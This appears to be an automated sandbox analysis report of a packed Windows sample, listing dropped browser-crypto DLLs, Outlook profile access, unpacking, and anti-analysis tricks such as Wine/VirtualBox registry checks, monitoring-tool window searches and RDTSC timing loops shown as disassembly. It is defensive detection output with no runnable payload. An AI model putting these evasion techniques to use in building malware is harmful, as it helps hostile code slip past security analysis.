Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2308,i,13248434027509961714,6387315998208005900,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6840 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2125824 > 1048576

Source: file.exe

Static PE information: Raw size of ksqqhkwn is bigger than: 0x100000 < 0x19c000

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2634831293.000000006CD11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2139158406.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2634831293.000000006CD11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2599315739.000000000047C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2139158406.0000000004EAB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.450000.0.unpack :EW;.rsrc :W;.idata :W; :EW;ksqqhkwn:EW;kdggtfho:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;ksqqhkwn:EW;kdggtfho:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA13480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6CA13480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: chrome.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0xb0b18
Source: file.exe	Static PE information: real checksum: 0x20d6bc should be: 0x21467e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ksqqhkwn
Source: file.exe	Static PE information: section name: kdggtfho
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA4B536 push ecx; ret

0_2_6CA4B549

Source: file.exe

Static PE information: section name: ksqqhkwn entropy: 7.953429987583825

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CA755F0

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E06B second address: 73E092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F53F481BA83h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F53F481BA7Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73E092 second address: 73E097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9B91 second address: 8B9B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9B95 second address: 8B9B9F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F53F4F51F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9E7B second address: 8B9EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F53F481BA78h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F53F481BA7Ch 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F53F481BA76h 0x0000001b jmp 00007F53F481BA7Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9EAC second address: 8B9EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9FF7 second address: 8BA001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F53F481BA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BA001 second address: 8BA009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE159 second address: 8BE15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE15D second address: 8BE161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE161 second address: 8BE167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE167 second address: 8BE1D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F53F4F51FA0h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d jp 00007F53F4F51FA1h 0x00000013 pop ecx 0x00000014 nop 0x00000015 pushad 0x00000016 movzx ebx, si 0x00000019 mov dh, 4Fh 0x0000001b popad 0x0000001c push 00000000h 0x0000001e jmp 00007F53F4F51FA8h 0x00000023 mov dword ptr [ebp+122D30D5h], edx 0x00000029 push 787CBB4Ah 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 jmp 00007F53F4F51F9Fh 0x00000036 push edx 0x00000037 pop edx 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE1D3 second address: 8BE1D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE1D8 second address: 8BE223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 787CBBCAh 0x0000000e mov dword ptr [ebp+122D2F98h], edi 0x00000014 push edi 0x00000015 movzx edi, si 0x00000018 pop ecx 0x00000019 push 00000003h 0x0000001b mov ecx, eax 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007F53F4F51F98h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 push 00000003h 0x0000003b push F08E3732h 0x00000040 jl 00007F53F4F51F9Eh 0x00000046 push edi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE223 second address: 8BE253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 xor dword ptr [esp], 308E3732h 0x0000000c mov di, ax 0x0000000f lea ebx, dword ptr [ebp+12453EFFh] 0x00000015 jnl 00007F53F481BA80h 0x0000001b jno 00007F53F481BA7Ah 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jne 00007F53F481BA78h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE253 second address: 8BE259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE259 second address: 8BE25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2C4 second address: 8BE2D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F4F51F9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2D7 second address: 8BE2DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE2DB second address: 8BE34C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov esi, ecx 0x0000000d push 00000000h 0x0000000f mov edi, dword ptr [ebp+122D2028h] 0x00000015 sub edx, 464EF179h 0x0000001b call 00007F53F4F51F99h 0x00000020 jl 00007F53F4F51FA4h 0x00000026 push eax 0x00000027 ja 00007F53F4F51FB1h 0x0000002d pushad 0x0000002e jmp 00007F53F4F51FA3h 0x00000033 jp 00007F53F4F51F96h 0x00000039 popad 0x0000003a mov eax, dword ptr [esp+04h] 0x0000003e push edi 0x0000003f pushad 0x00000040 jmp 00007F53F4F51F9Fh 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE34C second address: 8BE358 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push esi 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE358 second address: 8BE367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE367 second address: 8BE36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE36B second address: 8BE36F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE40C second address: 8BE410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC4E8 second address: 8DC4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jg 00007F53F4F51F96h 0x0000000c ja 00007F53F4F51F96h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC4FB second address: 8DC528 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F53F481BA7Ch 0x00000008 jnc 00007F53F481BA78h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F53F481BA82h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DC6C5 second address: 8DC6F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F53F4F51F96h 0x00000009 jmp 00007F53F4F51F9Ah 0x0000000e jmp 00007F53F4F51FA4h 0x00000013 popad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCC88 second address: 8DCCB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA81h 0x00000009 popad 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007F53F481BA7Ah 0x00000011 ja 00007F53F481BA7Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8DCE25 second address: 8DCE5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53F4F51F9Fh 0x00000008 jmp 00007F53F4F51FA1h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jng 00007F53F4F51F96h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
